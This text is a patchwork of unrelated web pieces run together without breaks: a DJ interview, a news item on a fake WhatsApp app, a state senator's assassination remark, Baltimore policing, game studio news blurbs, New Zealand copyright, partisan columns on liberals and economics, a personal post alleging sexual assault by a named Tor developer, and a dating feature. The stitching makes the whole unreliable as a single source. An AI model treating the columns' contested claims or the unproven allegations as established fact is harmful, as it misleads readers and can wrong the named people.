Ruben: A whole lot of new music… Better than we released this year, I think. We’ve experimented a lot this year… ‘Cause it’s fun, you know? It’s fun –creatively– to make different-sounding tracks. Next year, we have a healthy combination of the kind of stuff people are used to hearing from us, the “big room progressive,” if you want to call it that, and also some slower tempo tracks, and some higher tempo tracks that are just different in energy, but still Vicetone… You will still recognize our sounds in it. We’ve been really hard at work making those. We want the Vicetone brand to be more than just one brand of house music, it needs to encompass more. We do that and we know we have a fan base for that sound and we also want to show our fans that we can do more than that, and that’s what is really exciting… To branch out a little bit and also keep doing the same kind of music we’ve always been doing.
The fake WhatsApp, called “Update WhatsApp Messenger,” had the same logo and screenshots as the normal WhatsApp in the Play Store. The only thing that set it apart from the real WhatsApp was the “Update” that was written before it and the space that came after the developer, “WhatsApp Inc.” A security expert might be able to highlight such small difference, but the average user probably wouldn’t notice.
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The app went unnoticed by the Play Store for several weeks before finally being detected by experts on Reddit. Once the app was detected, Google quickly pulled it from the store, but not before it had been downloaded by a million users. The app left no trace on the user’s phone, so they simply thought they’d downloaded the regular WhatsApp.
All of this enabled the hackers to introduce new ads into the user’s experience and push them toward downloading other apps. In other words, a full-blown scam.
If you want to check whether you or a member of your family has downloaded the fake WhatsApp by mistake, you need to go to Settings on your Android mobile; then click Applications. If you see more than one WhatsApp icon, you know you’ve installed the fraudulent app and need to get rid of it.
The following is allegedly Missouri state Sen. Chappelle-Nadal’s now-deleted FB post: pic.twitter.com/tRJbZnPd1c — Frank Camp (@FrankDCamp) August 20, 2017
Shortly after the Facebook post, the Secret Service noted they were “looking into” the remark. Additionally, politicians from both parties are not only condemning Chappelle-Nadal, but asking that she resign.
Senator Claire McCaskill (D-MO) released an official statement on Thursday, which reads: “I condemn it. It's outrageous. And she should resign.”
Rep. William Lacy Clay echoed McCaskill: “[Calling] for the assassination of the President is a federal crime.” He added that Chappelle-Nadal is “an embarrassment to our state" and "she should resign immediately.”
Other Democrats have made similar statements.
Now, the Republican governor of the state, Eric Greitens, is also calling for Chappelle-Nadal’s resignation, noting that while “we can have differences in our country … no one should encourage political violence.”
Chappelle-Nadal, however, is defiant.
Although she admitted to The Kansas City Star that her assassination comment “was wrong,” she claims she didn't mean it, and that she is simply “frustrated” because President Trump is “causing hate.”
Despite her controversial remark, Chappelle-Nadal says she will not resign:
I am not resigning. When POC are respected by this WH & they are willing to do real work, I'll sit down with them. People are traumatized! https://t.co/rmsL4pQSTg — MariaChappelleNadal (@MariaChappelleN) August 18, 2017
In response to the state senator’s refusal to resign, Governor Eric Greitens is calling on her colleagues to vote for her expulsion:
If she will not resign, the Senate can vote to remove her. I believe they should. — Eric Greitens (@EricGreitens) August 18, 2017
"Anybody in any department that would keep that name, in my opinion, would be remiss," Rodriguez said in a recent interview. Baltimore police say they'll now refer to the interactions as "investigative stops," dropping the word "frisk" from forms officers are required to fill out after having contact with citizens. The change in name doesn't come with any new instruction for officers on how and when to perform the stops, but Rodriguez said police don't use the tactic in the way it was employed in New York.
The perception that the department was changing the name, but not its policy, drew a scathing response from the American Civil Liberties Union of Maryland:
"Whether we call it 'stop and frisk' or something else makes no difference to the Baltimore residents stopped and searched without any reasonable suspicion that they have done something wrong. The problem isn't the name - it's how police are treating people. "In suggesting that the solution to BPD's problems with stop-and-frisk is a name change, rather than a change in practice, the Commissioner has all but rubber-stamped the status quo and provided no assurance that Baltimore residents will not be treated as inherently suspicious because of where they live or the color of their skin."
Apparently after reading the ACLU's response to the name change, Baltimore Police Commissioner Anthony W. Batts contacted his deputy commissioner to "make sure the department was going further than a name change." The answer? It is.
"I want our officers to know we don't just randomly stop people without cause, without a reason," Batts told reporters in Northeast Baltimore, where he said he and his aides recently performed a stop-and-frisk on a suspected gang hit man and explained to him why they were doing it. When officers simply jump out of their cars and pat people down, Batts said, "that's unacceptable."
FIRST LOOK Age of Wonders: Planetfall September 13, 2018 - Hi everybody, You can now watch back the first gameplay footage from Age of Wonders: Planetfall featuring the Vanguard on YouTube! The footage was taken from the first official Planetfall Gameplay twitch.tv Stream September 7th. Vanguard First Look gameplay Video Developer Q&A Vanguard gameplay footage Bonus: Faction Spotlight Vanguard Video During a couple of weeks, we will
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An important message regarding locked Triumph forums September 11, 2018 - Hi everyone, We would like to take a moment and share an important change happening in regards to the Age of Wonders forum. We have decided to move the Age of Wonders forum to the centralized Paradox games forum. In a few weeks, we will lock all current Age of Wonders forums and start fresh
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Age of Wonders: Planetfall Gameplay Reveal Stream September 7th August 31, 2018 - Good afternoon! Today we have some great news to share with you all. It’s finally time to show you some new footage and invite you to the first official Planetfall Gameplay Stream! This event will take place on September 7th, 18.00 CEST/12 NOON ET right over at https://www.twitch.tv/paradoxinteractive. The livestream will later be published on
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Age of Wonders: Planetfall – Sign up today to get the latest updates! May 23, 2018 - Emerge from the cosmic dark age of a fallen galactic empire to craft a new future for your people. Explore the planetary ruins and encounter other surviving factions that have each evolved in their own way, as you unravel the history of a shattered civilization. Fight, build, negotiate and technologically advance your way to utopia,
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Triumph’s New Game to be announced May 18th @ PDXCon! February 8, 2018 - Finally some big news: We will announce our next game during PDXCon in Stockholm on May 18th 2018! Yes, this game is turn-based and yes, this game should appeal to Age of Wonders fans! You can also be there with us at PDXCon, where our parent company Paradox Interactive celebrates the universes and communities of
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TRIUMPH STUDIOS JOINS FORCES WITH PARADOX INTERACTIVE June 30, 2017 - We are super excited to bring you the news that Triumph Studios has been acquired by Paradox Interactive. Our Triumph adventure began 20 years ago, taking us from the first Age of Wonders strategy game to the Action RPG series Overlord, and back to our turn-based roots again. We have created the sort of
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The V1.8 “POSEIDON” Patch out Now! May 2, 2017 - While we are very busy with our next big strategy game, we still managed to find time for some Age of Wonders 3 spring cleaning. In addition to killing bugs and adding a bit of twinkling polish, we have added new water gameplay features for you to enjoy. Thanks to all you folks trying out
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The V1.8 “POSEIDON” patch in Steam Open Beta April 20, 2017 - While we are very busy with our next big strategy game, we still managed to find time for some Age of Wonders 3 spring cleaning. In addition to killing bugs and adding a bit of twinkling polish, we have added new water gameplay features for you to enjoy. The new buildable water fort and water
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The 2016 Essential Mod Spotlight December 22, 2016 - With 2016 drawing to a close we highlight some of the Dev Team’s favorite Age of Wonders III user created Mods from the past year. With all the great mods available, it was a difficult choice. Thanks go out to the modding community for the hundreds of mods available for the game. For now, our
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Offical v1.705 “CAESAR” Patch Released! November 1, 2016 - Hello All! After Age of Wonders III clocking 10s of millions of hours of gameplay, and getting the feedback to go with it, we are happy to officially release the official V1.705 “CAESAR” patch! This marks a new level of refinement for the game, especially for the master Age of Wonders 3 strategists, multiplayer gamers
Current New Zealand copyright law releases content for public use 50 years after the death of the author.
The United States entertainment industry is pushing to extend the term of copyright, possibly to 70 years after death, as part of the Trans-Pacific Partnership Agreement (TPPA).
The TPPA is a commercial trade agreement being negotiated among 11 Pacific-bordering nations including New Zealand, the US and Australia.
Palmerston North Digital Services librarian Warrick Taylor said any extension of copyright would have a big impact on the library's digital content.
The library had spent $16,000 last year digitising issues of the Manawatu Standard between 1904 and 1910 and the Manawatu Times up to 1908, but these would likely have to be pulled, Mr Taylor said.
Some of the digital content on Pataka Ipurangi (digital library), which was used for general research and family histories, would also have to be taken down.
"It would be a tragedy for our programme.
"In an internet age, we don't need stronger copyright, we need smarter copyright."
He was concerned the desire for copyright change was not coming from Australian or New Zealand companies, but from American companies.
"It's a frustration because the copyright extension doesn't seem to do anyone any favours other than Mickey Mouse."
Copyright should be a balance between creators and users, but any changes would only favour creators, he said.
"Ninety-nine per cent of what will be copyrighted [if laws change] should be made available.
"I really don't see an up-side . . . With modern digital services, if anything we should be reducing copyright to 30 or 40 years after death."
Feilding Public Library manager Simon Johnson said the potential for copyright change was another example of how digitising and copyright was becoming a "digital Wild West".
The change would not influence Feilding too much as its digital content was not as extensive as at larger libraries.
But Feilding would extend its content in future and at that time it would definitely be affected by copyright changes, he said.
"It's going to hamstring the ability of all libraries to provide the public with information.
"I'd be very concerned with what is driving this."
President Obama seems completely unaware of how many of the policies he is trying to impose have been tried before, in many times and places around the world, and have failed time and again. Economic equality? That was tried in the 19th century, in communities set up by Robert Owen, the man who coined the term “socialism.” Those communities all collapsed.
It was tried even earlier, in 18th century Georgia, when that was a British colony. People in Georgia ended up fleeing to other colonies, as many other people would vote with their feet in the 20th century, by fleeing many other societies around the world that were established in the name of economic equality.
But who reads history these days? Moreover, those parts of history that would undermine the vision of the left — which prevails in our education system from elementary school to postgraduate study — are not likely to get much attention.
The net results are bright people, with impressive degrees, who have been told for years how brilliant they are, but who are often ignorant of facts that might cause them to question what they have been indoctrinated with in schools and colleges.
Recently Kirsten Powers repeated on Fox News Channel the discredited claim that women are paid only about three-quarters of what a man is paid for doing the same work.
But there have been empirical studies, going back for decades, showing that there is no such gap when the women and men are in the same occupation, with the same skills, experience, education, hours of work and continuous years of full-time work.
Income differences between the sexes reflect the fact that women and men differ in all these things — and more. Young male doctors earn much more than young female doctors. But young male doctors work over 500 hours a year more than young female doctors.
Then there is the current hysteria which claims that people in the famous “top one percent” have incomes that are rising sharply and absorbing a wholly disproportionate share of all the income in the country.
But check out a Treasury Department study titled “Income Mobility in the U.S. from 1996 to 2005.” It uses income tax data, showing that people who were in the top one percent in 1996 had their incomes fall — repeat, fall — by 26 percent by 2005.
What about the other studies that seem to say the opposite? Those are studies of income brackets, not studies of the flesh-and-blood human beings who are moving from one bracket to another over time. More than half the people who were in the top one percent in 1996 were no longer there in 2005.
This is hardly surprising when you consider that their incomes were going down while there was widespread hysteria over the belief that their incomes were going up.
Empirical studies that follow income brackets over time repeatedly reach opposite conclusions from studies that follow individuals. But people in the media, in politics and even in academia, cite statistics about income brackets as if they are discussing what happens to actual human beings over time.
All too often when liberals cite statistics, they forget the statisticians’ warning that correlation is not causation. For example the New York Times crusaded for government-provided prenatal care, citing the fact that black mothers had prenatal care less often than white mothers — and that there were higher rates of infant mortality among blacks.
But was correlation causation? American women of Chinese, Japanese and Filipino ancestry also had less prenatal care than whites — and lower rates of infant mortality than either blacks or whites.
When statistics showed that black applicants for conventional mortgage loans were turned down at twice the rate for white applicants, the media went ballistic crying racial discrimination. But whites were turned down almost twice as often as Asian Americans — and no one thinks that is racial discrimination.
Facts are not liberals’ strong suit. Rhetoric is.
Part II
Words seem to carry far more weight than facts among those liberals who argue as if rent control laws actually control rents and gun control laws actually control guns.
It does no good to point out to them that the two American cities where rent control laws have existed longest and strongest — New York and San Francisco — are also the two cities with the highest average rents.
Nor does it make a dent on them when you point out evidence, from both sides of the Atlantic, that tightening gun control laws does not reduce gun crimes, including murder. It is not uncommon for gun crimes to rise when gun control laws are tightened. Apparently armed criminals prefer unarmed victims.
Minimum wage laws are another issue where the words seem to carry great weight, leading to the fact-free assumption that such laws will cause wages to rise to the legally specified minimum. Various studies going back for decades indicate that minimum wage laws create unemployment, especially among the younger, less experienced and less skilled workers.
When you are unemployed, your wages are zero, regardless of what the minimum wage law specifies.
Having followed the controversies over minimum wage laws for more than half a century, I am always amazed at how many ways there are to evade the obvious.
A discredited argument that first appeared back in 1946 recently surfaced again in a televised discussion of minimum wages. A recent survey of employers asked if they would fire workers if the minimum wage were raised. Two-thirds of the employers said that they would not. That was good enough for a minimum wage advocate.
Unfortunately, the consequences of minimum wage laws cannot be predicted on the basis of employers’ statements of their intentions. Nor can the consequences of a minimum wage law be determined, even after the fact, by polling employers on what they did.
The problem with polls, in dealing with an empirical question like this, is that you can only poll survivors.
Every surviving business in an industry might have as many employees as it had before a minimum wage increase — and yet, if the additional labor costs led to fewer businesses surviving, there could still be a reduction in industry employment, despite what the poll results were from survivors.
There are many other complications that make an empirical study of the effects of minimum wages much more difficult than it might seem.
Since employment varies for many reasons other than a minimum wage law, at any given time the effects of those other factors can outweigh the effects of minimum wage laws.
In that case, employment could go up after a particular minimum wage increase — even if it goes up less than it would have without the minimum wage increase.
Minimum wage advocates can seize upon statistics collected in particular odd circumstances to declare that they have now “refuted” the “myth” that minimum wages cause unemployment.
Yet, despite such anomalies, it is surely no coincidence that those few places in the industrial world which have had no minimum wage law, such as Switzerland and Singapore, have consistently had unemployment rates down around 3 percent. “The Economist” magazine once reported: “Switzerland’s unemployment neared a five-year high of 3.9% in February.”
It is surely no coincidence that, during the last administration in which there was no federal minimum wage — the Calvin Coolidge administration — unemployment ranged from a high of 4.2 percent to a low of 1.8 percent over its last four years.
It is surely no coincidence that, when the federal minimum wage law remained unchanged for 12 years while inflation rendered the law meaningless, the black teenage unemployment rate — even during the recession year of 1949 — was literally a fraction of what it has been throughout later years, as the minimum wage rate has been raised repeatedly to keep up with inflation.
When words trump facts, you can believe anything. And the liberal groupthink taught in our schools and colleges is the path of least resistance.
Part III
Since this year will mark the 50th anniversary of the “war on poverty,” we can expect many comments and commemorations of this landmark legislation in the development of the American welfare state.
The actual signing of the “war on poverty” legislation took place in August 1964, so the 50th anniversary is some months away. But there have already been statements in the media and in politics proclaiming that this vast and costly array of anti-poverty programs “worked.”
Of course everything “works” by sufficiently low standards, and everything “fails” by sufficiently high standards. The real question is: What did the “war on poverty” set out to do — and how well did it do it, if at all?
Without some idea of what a person or a program is trying to do, there is no way to know whether what actually happened represented a success or a failure. When the hard facts show that a policy has failed, nothing is easier for its defenders than to make up a new set of criteria, by which it can be said to have succeeded.
That has in fact been what happened with the “war on poverty.”
Both President John F. Kennedy, who launched the proposal for a “war on poverty” and his successor, Lyndon B. Johnson, who guided the legislation through Congress and then signed it into law, were very explicit as to what the “war on poverty” was intended to accomplish.
Its mission was not simply to prove that spending money on the poor led to some economic benefits to the poor. Nobody ever doubted that. How could they?
What the war on poverty was intended to end was mass dependency on government. President Kennedy said, “We must find ways of returning far more of our dependent people to independence.”
The same theme was repeated endlessly by President Johnson. The purpose of the “war on poverty,” he said, was to make “taxpayers out of taxeaters.” Its slogan was “Give a hand up, not a handout.” When Lyndon Johnson signed the landmark legislation into law, he declared: “The days of the dole in our country are numbered.”
Now, 50 years and trillions of dollars later, it is painfully clear that there is more dependency than ever.
Ironically, dependency on government to raise people above the poverty line had been going down for years before the “war on poverty” began.
The hard facts showed that the number of people who lived below the official poverty line had been declining since 1960, and was only half of what it had been in 1950.
On the more fundamental question of dependency, the facts were even clearer. The proportion of people whose earnings put them below the poverty level — without counting government benefits — declined by about one-third from 1950 to 1965.
All this was happening before the “war on poverty” went into effect — and all these trends reversed after it went into effect.
Nor was this pattern unique. Other beneficial social trends that were going on before the 1960s reversed after other bright ideas of that decade were put into effect.
Massive “sex education” programs were put into schools, claiming that this was urgently needed to reduce a “crisis” of teenage pregnancies and venereal diseases. But teenage pregnancies and venereal diseases had both been going down for years.
The rate of infection for gonorrhea, for example, declined every year from 1950 through 1959, and the rate of syphilis infection was, by 1960, less than half of what it had been in 1950. Both trends reversed and skyrocketed after “sex education” became pervasive.
The murder rate had been going down for decades, and in 1960 was only half of what it had been in 1934. That trend suddenly reversed after the liberal changes in criminal laws during the 1960s. By 1974, the murder rate was more than twice as high as it had been in 1961.
While the fact-free liberals celebrate the “war on poverty” and other bright ideas of the 1960s, we are trying to cope with yet another “reform” that has made matters worse, ObamaCare.
Part IV
One of the things that attracted me to the political left, as a young man, was a belief that leftists were for “the people.” Fortunately, I was also very interested in the history of ideas — and years of research in that field repeatedly brought out the inescapable fact that many leading thinkers on the left had only contempt for “the people.”
That has been true from the 18th century to the present moment. Even more surprising, I discovered over the years that leading thinkers on the opposite side of the ideological spectrum had more respect for ordinary people than people on the left who spoke in their name.
Leftists like Rousseau, Condorcet or William Godwin in the 18th century, Karl Marx in the 19th century or Fabian socialists like George Bernard Shaw in England and American Progressives in the 20th century saw the people in a role much like that of sheep, and saw themselves as their shepherds.
Another disturbing pattern turned up that is also with us to the present moment. From the 18th century to today, many leading thinkers on the left have regarded those who disagree with them as being not merely factually wrong but morally repugnant. And again, this pattern is far less often found among those on the opposite side of the ideological spectrum.
The visceral hostility toward Sarah Palin by present day liberals, and the gutter level to which some descend in expressing it, is just one sign of a mindset on the left that goes back more than two centuries.
T.R. Malthus was the target of such hostility in the 18th and early 19th centuries. When replying to his critics, Malthus said, “I cannot doubt the talents of such men as Godwin and Condorcet. I am unwilling to doubt their candor.”
But William Godwin’s vision of Malthus was very different. He called Malthus “malignant,” questioned “the humanity of the man,” and said “I profess myself at a loss to conceive of what earth the man was made.”
This asymmetry in responses to people with different opinions has been too persistent, for too many years, to be just a matter of individual personality differences.
Although Charles Murray has been a major critic of the welfare state and of the assumptions behind it, he recalled that before writing his landmark book, “Losing Ground,” he had been “working for years with people who ran social programs at street level, and knew the overwhelming majority of them to be good people trying hard to help.”
Can you think of anyone on the left who has described Charles Murray as “a good person trying hard to help”? He has been repeatedly denounced as virtually the devil incarnate — far more often than anyone has tried seriously to refute his facts.
Such treatment is not reserved solely for Murray.
Liberal writer Andrew Hacker spoke more sweepingly when he said, “conservatives don’t really care whether black Americans are happy or unhappy.”
Even in the midst of an election campaign against the British Labour Party, when Winston Churchill said that there would be dire consequences if his opponents won, he said that this was because “they do not see where their theories are leading them.”
But, in an earlier campaign, Churchill’s opponent said that he looked upon Churchill “as such a personal force for evil that I would take up the fight against him with a whole heart.”
Examples of this asymmetry between those on opposite sides of the ideological divide could be multiplied almost without limit. It is not solely a matter of individual personality differences.
The vision of the left is not just a vision of the world. For many, it is also a vision of themselves — a very flattering vision of people trying to save the planet, rescue the exploited, create “social justice” and otherwise be on the side of the angels. This is an exalting vision that few are ready to give up, or to risk on a roll of the dice, which is what submitting it to the test of factual evidence amounts to. Maybe that is why there are so many fact-free arguments on the left, whether on gun control, minimum wages, or innumerable other issues — and why they react so viscerally to those who challenge their vision.
It feels rather sardonic to say this now, openly, after two years spent alternating between trying to inhibit my rage and convince myself that I hadn’t been hurt, followed by seeking out other victims, in order to develop the collective capacity to defend ourselves and to have the simple ability to speak out in a manner which would be heard and not discarded.
I’m Forest. Here’s my story, as submitted to the anonymous site jacobappelbaum.net:
Jake and I had been friends and coworkers for years. Looking back on it, I’m not sure why. From the very first Tor developer meeting I had attended, he repetitively propositioned my partner and I for sex. He even went so far as to, on the very first meeting on the first morning, in front of all the other developers — whom I had not yet met — tell me that he was okay with my partner and I fucking in the same bed as him while he watched, causing both of my partner and I to feel completely humiliated that our private sex life was being discussed in front of colleagues we had hoped to build a good start towards friendly, professional relationships. While travelling, the first time he came to the city I lived in, I invited him to stay at my house. As politely as I could, I explained, “You can have the floor, and I’ll take my bed, or the other way around. If you’re comfortable with it, we can share my bed, as friends. Meaning no physical contact.” We both slept in my bed. That turned out (mostly) fine. (Except, of course, being propositioned again, this time for a threesome with Jake and one of my roommates.) In fact, Jake and I proceeded to share beds in a friendly manner over the years, and nothing bad ever happened. Once Jake had moved to Germany, I came to visit friends there for a while, and one night I stayed at Jake’s place. Again, we shared a bed, as friends. There weren’t even any discussion or attempts beforehand to convince me to do anything sexual with him. It was freezing cold, and I went to bed with several layers of street clothes on. Sometime around 5 o’clock in the morning, I woke up very confused and startled because my pants were unzipped and Jake’s arm was wrapped around me, his hands in my underwear and he was rubbing my clit and rimming the edges of my vagina. I tried to shove him off me and wake him up. He’s physically much bigger than me, so the shoving didn’t work as well as it should have, but nonetheless he rolled over, a bit exageratedly, mumbling as if asleep. In the morning, I confronted him about it. I was really confused. I didn’t know if he was actually asleep, but if he was, how did my clothes come undone? Assuming that if I was super confrontational about it, he’d have some excuse like “Oh, but I thought it was okay that time because you didn’t explicitly give me the we’re-just-friends lecture before bed…” When confronting Jake about this, I said, “Dude, what the fuck. You started fingering me last night.” It took a few seconds for there to be a reaction on his face, and then he seemed confused, saying “Oh… what? I don’t remember that.” I glared at him. The really disconcerting thing for me was that, half an hour later, he said, “I thought you were her.” Here, “her” was Jake’s fiancée. At the time, she didn’t live in Germany, and they hadn’t seen each other in weeks. Jake’s fiancée was also gorgeous and super curvy, and I am basically a scrawny, little twig. “I’m not sure how you could confuse us, even asleep.” I said. He continued muttering some excuses about having wet dreams about her. He seemed to suddenly and extremely vividly remember whatever dream. Nowhere did he say, “I didn’t put my hands in your panties,” nor did he apologise.
Transformative Justice is not the “Death of Due Process”
First, some backstory is in order.
Seven or eight years ago, I was involved in an anarchist collective process for a male person in an anarchist activist community who was accused of and eventually admitted to raping two anarchist women. Since none of us would turn him in to the police, we gave him a choice of either leaving or going through a rehabilitation programme which we would create, in an attempt to transform him into someone just as capable of contributing in all the productive ways he already was but without harming other people and decreasing their abilities to contribute and to do so safely. We warned him that, if he skipped town, I would personally hunt him down to whatever city he ran to, contact the anarchist organisers there, and attempt to give them (as non-biased as possible) an account of the events. He didn’t run.
At first, he participated grudgingly, but later he broke down crying in front of the two victims, apologising sincerely and begging them for forgiveness. As part of the rehabilitation, one of the things we determined to be cause for his behaviour was a very negative self-body image, i.e. he was quite overweight and under the impression that women “only like dudes who are ripped”. Part of my responsibilities in the rehab process was to go to the gym with him, to help him have better body image, demonstrate that not all women are into “dudes who are ripped”, and help him become more comfortable with the idea that women are intelligent creatures as opposed to being merely some sexual object to be won over. He eventually successfully convinced both us and the victims that he would not abuse anyone else. To date this has been successful, and he’s had healthy relationships with several partners, including a transperson.
The Plan
When I first started seeking out other victims, about six months ago, I did not want to formally report any of the stories I had heard from Jake’s victims to the Tor Project or others, for two primary reasons. First, that my main motivation in this was to ensure that these behaviours stopped, and it was not clear to me that any traditional punitive “justice” measures would achieve such. Second, I feared retaliation from Jake, as well as retaliation towards any of the victims whose stories I would divulge. Multiple victims at the time expressed that they didn’t want me to tell The Tor Project, later admitting they feared retaliation to be extremely likely, as well as difficult to combat.
Instead, I had planned to gather people for a secret meeting in Valencia, somewhere calm, neutral, and away from events, like on the beach, invite Jake, and have everyone willing who has ever been sexually assaulted, humiliated, harassed, or felt their boundaries disrespected, by him to take turns telling a few sentences about what he did to them and how it made them feel. Then we would tell Jake that, as his friends, we thought this needed to stop, and that we’d either deliver a list of the stories to The Tor Project and other organisations, or make all the stories public, if he refused to hold himself accountable for his actions or his behaviour did not appear to improve. In planning this secret meeting, I tried to determine what would cause Jake to perpetually disrespect other people like this, and if there were any positive things we could do to help him.
Somehow Jake got word of all this, and proceeded to go back and forth between everyone I knew, starting, it seems, with one of my roommates and a reporter acquaintance, to force information out of these people, including more names of more people involved (to force more information out of). He seemed to have put the whole story together from all the bits and pieces he was given. In between my efforts to get work done and give a lecture, he imposed on me that my ten minutes of coffee break time should be spent speaking with him, because it was An Emergency. During that rather one-sided conversation, Jake described all the time, effort, and ways he was using in order to completely ruin someone’s life who had attempted to stand up to him, as well as previous ways he had managed to get someone fired from their position and ostracised. He pointedly mentioned, several times, the names of multiple people who he had destroyed in the past for standing against him. In his current efforts to harass one of these people — which through backchannels I was already aware of, he said, “I’ve literally been spending 15 hours a day on this. […] I’ve been speaking with an investigative journalist team to make sure they don’t believe [that person]. […] I heard there was a plan to ‘Confront’ me in Valencia. If that happens, I probably will not take it very well…”
This was chilling. Why was Jake saying those things, non sequitur and without provocation? It was clear to me that they were thinly-veiled threats, descriptions of what would soon happen to me. If I stood up to Jake, I could expect him to try to get me fired from The Tor Project. To try to block my acceptance into the doctorate research program he knew that I was, at that point in time, applying to. To feed the media stories about what a horrible person I am. To ostracise me from my social circles.
In all of this, I tried to do the right thing, to ensure that no more people were harmed, to give Jake one more chance. I wanted the anarchist, rehabilitation-focused solution, but Jake had only responded to that with threats. Meanwhile, River and I were introduced through a mutual friend. When Jake threatened me, I was, for a moment, frightened. Then I flew into a fucking rage. Sorry, Jake, but attempting to blackmail me into silence whilst I was defending others is really not a good look for an “anarchist” “free-speech advocate”.
Having run out of ideas and being threatened out of alternative options, I reported everything to the rest of The Tor Project. Well, almost everything. Originally, I only reported others’ stories (with their permission). I left my own story out, and I did not tell it until it was decided that Jake would no longer be part of The Tor Project.
The Trees
This isn’t about any one individual’s story. This is about addressing the issues and finding means within our communities to ensure this doesn’t happen again. This is about building communal structures so that it does not require, as Jake has rather entertainingly called it, “calculated and targeted attacks” from victims who otherwise felt alone and powerless to stand up and fight back.
Photo: Clara Zetkin and Rosa Luxembourg, early women’s rights activists, marching at a demonstration, arm in arm.
I have spoken personally with every person whose story was published in the original set on the anonymous site. I am convinced beyond reasonable doubt that each of them is true. I added my own story to the site in solidarity with the other victims, especially these who remain anonymous, as someone with the social standing, and hence, enormous level of privilege, required to be able to eventually go public. Many of the other victims do not have this privilege. Whether due to marginalisation, fear of retailiation, or being new to our communities, many sexual assault victims require anonymity, because — without anonymity — they would be silenced.
Jake never apologised to me, nor — to my knowledge — any of the other victims. I don’t condone his actions. However, and no apologies for being crass, I can’t seem to motivate myself to feel any pity towards him for any of the admittedly horrible things which are now happening to him. He ruined lives. The number of people we would have in a significantly more productive and less damaged state were it not for his actions is substantial, and futher, those people in a less damaged state would be overall substantially more beneficial than having a Jake in a less damaged state. Additionally, we would likely have had more diverse contributors to Tor, if we had dealt with Jake sooner, since, for years, many people have been warned about Jake through a whisper network and disuaded from becoming involved.
There are some differences between how Jake is behaving to how the other anarchist I mentioned above was behaving. The other anarchist was willing to engage in the defined process, respectful of his victims’ needs, and eventually sincerely apologetic for his actions.
I cannot condone his actions; however, I cannot condone violence and threats against Jake. Full stop. That is not productive. If he is further harmed, we never see the end of the wretched abused-abuser cycle.
People who behave as Jake does are sick, and they need help. Often, it is because they were severely hurt at some point. As the activist adage goes, “We need to be gentle with one another, so that we can be dangerous together.” If we think Jake has any capacity for change, then it is our responsibility to ensure that he is not simply swept under a rug of academia where he will most certainly find a deeply-ingrained institutional structure of rape apologists ready to turn a blind eye and willing to help Jake “fail up” to another position of power and credibility, where he will use that power to commit further acts of abuse. I am thoroughly dismayed for what is statistically likely to happen again, causing harm to and trust issues for their students, and professional and reputational issues for them.
Realpolitiking
Now. For all of you screaming “This is not what justice looks like! Why don’t you just go to the police?!” let me just wax realpolitik and, like a good little German, quote some Gesetz and cite some statistics.
The “due process” of a state court, in my case, will be detrimental to both Jake and I, as well as numerous other people. The law is very clearly against both of us in this case, with the overwhelmingly likely outcome that he would be kicked out of Germany. (Additionally, in Germany, multiple independent allegations can result in a conviction given the absense of other evidence.)
The other outcome is one or more convictions. While convictions for rape and sexual assault are statistically unlikely, given that only about 7% of reported rapes result in a conviction with similar numbers for Germany, we have an advantage. By German case law, multiple independent allegations are very likely to result in conviction(s), even despite the absense of other evidence, e.g. bruises, marks, semen, which would be required in a solitary allegation. If brought to court, here are some of the applicable laws and their corresponding minimum/maximum prison terms:
Forest
One count of rape (§177 of the Strafsgesetzbuch paragraph 1) for a person in an unconscious state or otherwise incapable of verbal disagreement or resistance (§179 of the Strafsgesetz): minimum, one year; maximum, ten years.
One count of blackmail: minimum, none; maximum: five years.
River
One count of rape (§177 of the Strafsgesetzbuch paragraph 1), including
Instructing a third party to rape the victim (§177 of the Strafsgesetzbuch paragraph 2, sentence 2), making it a “severe case”,
Both counts were penetrative intercourse (§177 of the Strafsgesetzbuch paragraph 2, sentence 1), also making it a “severe case”,
The victim was additionally in an unconscious state and uncapable of verbal or physical resistance (§179 of the Strafsgesetz, including paragraph 5, as well as paragraph 5 sentence 2): minimum: two years; maximum: ten years.
Sam
Sexual assault (§177 of the Strafsgesetzbuch paragraph 1): minimum, one year; maximum: ten years.
Totalling to four years minimum and thirty-five years maximum for those cases alone, along with potential fines and reparations, and expulsion from the country afterwards (cf. §53 and §54 of the Aufenthaltsgesetz). (For English speakers curious about the German laws I’m referencing, there are also official English translations.)
Not to mention that, if our goal is to prevent more people from being harmed by Jake, prison is not an option. Overwhelmingly likely, even in Germany, Jake would be raped in prison. I do not wish these painful things I’ve gone through on anyone, not even those who have caused me pain. Further, most abusers have a history of having been abused at some point in their past, and Jake going to prison certainly will not help him amend his behaviour.
Alternatives
Some people are asking what the victims want out of this.
Personally, I would be completely ecstatic if Jake decided to move to Alaska. Forever. Jake is still threatening the other victims to try to keep them quiet, and additional reports of extremely severe sexual assaults and rape are pouring in to The Tor Project. Meanwhile, Jake is preparing some sort of public “apology” statement. Alaska, or northern Siberia — it doesn’t matter. Until his sociopathic behaviours are revised, there is no place for him in civil society.
As it is obviously rather untenable that Jake move to Alaska, I suggest the following. Please note that these are my suggestions alone, and do not necessarily at this point in time reflect those of all of the other victims. We’re all still processing this.
We need to entirely remove abusers from our communities, until such a time as they have sufficiently demonstrated to their victims that their abusive behaviours will no longer continue. Jake should be removed from all places where his victims, their loved ones, and friends might come into any form of contact with him. Given the enormous amounts of pain myself and the other victims have gone through, the draining emotional stress, and (please excuse my rather dark humour) the development time wasted, I am not willing to revisit this issue for at least four years. After that time has passed, it may be possible to reassess whether there is any path forward for Jake. We need to assess the cultural issues within our communities which require that victims report anonymously, due to fears of retaliation, further abuse, and not being taken seriously. Once identified, we need to devise better reporting and support structures to help allay these fears. We need to take victims’ stories seriously. It should not be required that victims band together in collectives in order to be heard. Nor should it be required that someone who stands up for others must have and share their own story of victimisation to “prove” the credibility of the others, as was my case. It should not be required that a dozen people are harmed before any one of them is taken seriously. We need to critique the institutions — sociocultural, academic, and organisational — which made these events possible. Those who must still have some form of contact with Jake, and by that I primarily mean others within the academic and journalistic communities, need to be given ways to raise safety and ethical concerns without fear of retribution or retaliation. It is my understanding that several researchers and students do not currently feel this way, and that this is having a severe impact upon their abilities to be successful and productive.
The next morning, there were no regrets. “We had a blast,” Madeleine says. Sure, maybe it wasn’t the smartest move to get into a stranger’s car, “but there were three of us, and, I mean, we had our cellphones.”
Madeleine and her friends may sound like teenagers on spring break, and indeed that’s what they often feel like. But they met decades ago — they were “ice-skating moms” to daughters on the competitive circuit — and are now in their late 50s, divorced mothers of grown children and having, in many ways, the time of their lives. “You’ll be out at a bar and see some guys you think are cute,” says Madeleine. “Until you realize they’re in their 20s. But you forget! You forget how old you are!” (Madeleine, like other singles in this story, didn’t want to include her full name when talking about her sex life.)
